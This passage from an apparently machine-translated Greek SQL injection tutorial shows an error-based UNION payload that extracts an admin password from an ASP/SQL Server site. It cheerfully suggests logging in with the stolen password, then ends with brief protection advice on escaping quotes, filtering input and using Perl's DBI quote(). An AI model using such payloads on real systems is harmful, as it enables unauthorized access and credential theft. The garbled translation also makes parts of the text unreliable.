(σύνδεση είναι το όνομα του πεδίου που περιέχει τη σύνδεση και χρήστες είναι το όνομα του πίνακα,
ημιεπιστήμονες στη διαδικασία ανάλυσης σφαλμάτων).

Η απάντηση μπορεί να είναι:


Σφάλμα σύνταξης κατά τη μετατροπή της τιμής nvarchar "admin" to a column of data type int. !}
/default.asp, γραμμή 27

Τώρα γνωρίζουμε ότι υπάρχει ένας χρήστης με το όνομα "admin". Τώρα μπορούμε να πάρουμε τον κωδικό πρόσβασής του:

‘ UNION SELECT TOP 1 password FROM users where login=’admin’—

Αποτέλεσμα:

Σφάλμα Microsoft OLE DB Provider for ODBC Drivers "80040e07"
Σφάλμα σύνταξης κατά τη μετατροπή της τιμής nvarchar "xxx" to a column of data type int. !}
/tedault.asp, γραμμή 27

Τώρα γνωρίζουμε ότι υπάρχει ένας χρήστης "admin" με κωδικό πρόσβασης "xxx". Με αυτό μπορείτε με ασφάλεια
χρησιμοποιήστε το και συνδεθείτε στο σύστημα 😉

Αλλά υπάρχουν πολλές άλλες λειτουργίες για εργασία με SQL,
Όταν εργάζεστε με μια βάση δεδομένων, μπορείτε επίσης να διαγράψετε δεδομένα, να τα τροποποιήσετε, να εισαγάγετε τα δικά σας, ακόμη και να χειριστείτε αρχεία και να εργαστείτε με το μητρώο.
Γενικά, κανόνες του SQL Server :)

ΠΡΟΣΤΑΣΙΑ

Αλλά φυσικά όλα αυτά μπορούν να αποφευχθούν. Για να το κάνετε αυτό μπορείτε
χρήση φίλτρων,
παρέχονται από τους κατασκευαστές. Μπορείτε να βρείτε τις δικές σας λύσεις, για παράδειγμα, αντικαθιστώντας όλα τα single
διπλά εισαγωγικά (αν για SQLΑίτημα χρησιμοποιούμε μεμονωμένα), ή το αντίστροφο. Μπορείτε να επιτρέψετε τη χρήση γραμμάτων και s@baki, μόνο εάν χρειάζεται να εισέλθετε
διεύθυνση ηλεκτρονικού ταχυδρομείου. Και στο μαργαριτάρι υπάρχει ένα καταπληκτικό
η συνάρτηση 🙂 quote() στη μονάδα DBI::DBD, η οποία κάνει επιτυχώς το ερώτημά σας ασφαλές σε σχέση με SQL. Υπάρχουν πολλές λύσεις, απλά τις χρειάζεστε
εκμεταλλεύομαι. Αλλιώς γιατί τότε όλα αυτά...